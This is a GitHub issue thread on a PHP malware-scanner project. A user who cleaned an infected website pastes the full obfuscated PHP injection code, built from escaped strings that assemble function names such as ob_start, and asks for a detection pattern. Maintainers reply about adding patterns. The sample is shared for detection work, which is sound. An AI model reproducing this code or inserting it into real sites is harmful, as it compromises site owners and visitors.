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New Injection code #2

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rufnek2k4 opened this issue Jul 22, 2014 · 2 comments
Open

New Injection code #2

rufnek2k4 opened this issue Jul 22, 2014 · 2 comments

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@rufnek2k4
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First of all, thanks for the effort.

I just fixed a site injected with this new code that has no base64_decode function. Fixed it by searching "\x" and "?><?php" on every file.

Can you include this in your scanner?
Thanks!

actual code:

b%x5c%x7825Z<#opo#>b%x5c%x7825!_##>>X)!gjZ<#opo#>b%!%x5c%x7825tww!>!%x5c%x782400~:5h%x5cw#)ldbqov>_ofmy%x5c%x7825)utjm!|!_5!%x5c%x7827!hmg%x5c%x7825)!)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%2p%x5c%x7825!|!_!_**b%x5c%x445]212]445]43]321]464]284]367827,_e%x5c%x7827,_d%x5c%x7827,_c%x5c%x7827,_b%x5c%x7827)f8]y6g]273]y76]271]y7d]252]y74]256#j%x5c%x7827878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x782525r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x5c%x7827jsv%x5c%x78256^#zsfvr#%x5c%x785cq%<*K)ftpmdXA6~6%x5c%x782f7&6|7**1%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x!#]x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2judovg%x5c%x7822)!gj}1~!<2p%6%x75%156%x61"]=1; functiomjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!72]48y]#>m%x5c%x7825:|:_r%x5c%x7825:-t%x5c%x7825)3of:opjudovgnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e5c%x7825bG9}:}.}-}!#_<%x5c%x7825nfd>%x5c%x782y76]277]y72]265]y39]274]y85]273]y6g]273]y7f+_0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]24x7825)tpqsut>j%x5c%x7825!_72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%xx5c%x7824-%x5c%x7824<%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;ub%x5c%x7825!>!2p%x5c%x7825!_3>?_2b%x5c%x7825)gpf{jt)!gj!<_h>EzH,2W%x5c%x7825wN;#-Ez-1H_WCw_[!%x5c%x7825rN}#QwTW%x5]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6q%x5c%x78256<%x5c%x787fw6_%x5c%x787f_)323zbek!~!!#]y81]273]y76]25if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") &&_QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860XA6|7__197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<5)m%x5c%x7825=_h%x5c%x7825)m%x5c%x7825):fmji%x5c%x%x5c%x78256<%x5c%x787f5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%ftmbg}%x5c%x787f;!osvufs}w;_%x5c%x787f!>>y83]273]y72]282#!#]y84]275]y8y]}R;2]},;osvufs}%x5c%x7827;m24-%x5c%x7824%x5c%x785c%x5c5fdy!%x5c%x7825tdz&)7gj6<.[A%x5c%x7827&6<%x5j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#px782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpp3]248]y83]256]y81]265]y72825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256jQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x78tmw)%x5c%x7825tww**WYsboepn)%x5c%x78x5c%x7825j:^Ew:Qb:Qc.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6_%x5c%x8]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]6787f__#fmjgk4%x5c%x7860{6~6.%x5c%x7825!<**_f%x5c%x<~%x5c%x7824!%x5c%x78242178}527}88:}334}47<_&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&Qtjw)#]82#-#!#-%x5c%x782525>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c{ftmfV%x5c%x787f<_X&Z5z>32%x5c%x782,6<_)ujojR%x5c%x7827id%x7825!<_::::::-111112{h%x5c%x7825)sutcvt)!gj!|!_bubE{h%x5c%x7825)j{%x5c%x7825#%x5c%x782f#o]#%x5c%x782f_)323zbe!-#jt0_?]+^?]_9275fubmgoj{h1:|:_mmvo:>:iuhofm%x5c%x7825:-5ppde:M4P8]37]278]225]241]334]368]322]3]364]%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%15_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%256!bssbz)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%5c%x78273qj%x5c%x78256<_Y%x5c%x7825c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!_9!%x5x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7pd#)tutjyf%x5c%x7860opnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x76]283]427]36]373P6]36]73]8x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<_#fopoV;h)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hWpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%hnpd!opjudovg!|!__#j{hnx5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7h#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)id5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%4-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%%x5c%x7860hA%x5c%x7827pd%x5c%x78mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825]D6]281L1#%x5c%x782fc%x787fw6_%x5c%x787f__#[k2%x5c%x72bd%x5c%x7825-#1GO%x2)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x782w6_%x5c%x787f__#ujojRk35c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!_uyfu%_#fubfsdXk5%x5c%x7860{66~6<&w6<%x5]84#-!OVMM_<%x22%51%x29%51%x29%73", NULL); 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@darookee
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I modified this script to work with multiple custom patterns here 4df5ccb, but I had no luck (and time for that matter) to get it working with escaped unicode characters (\x64\x65...). Maybe you can add a few patterns to that list...

@mikestowe
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Will look into this - thank you for posting...

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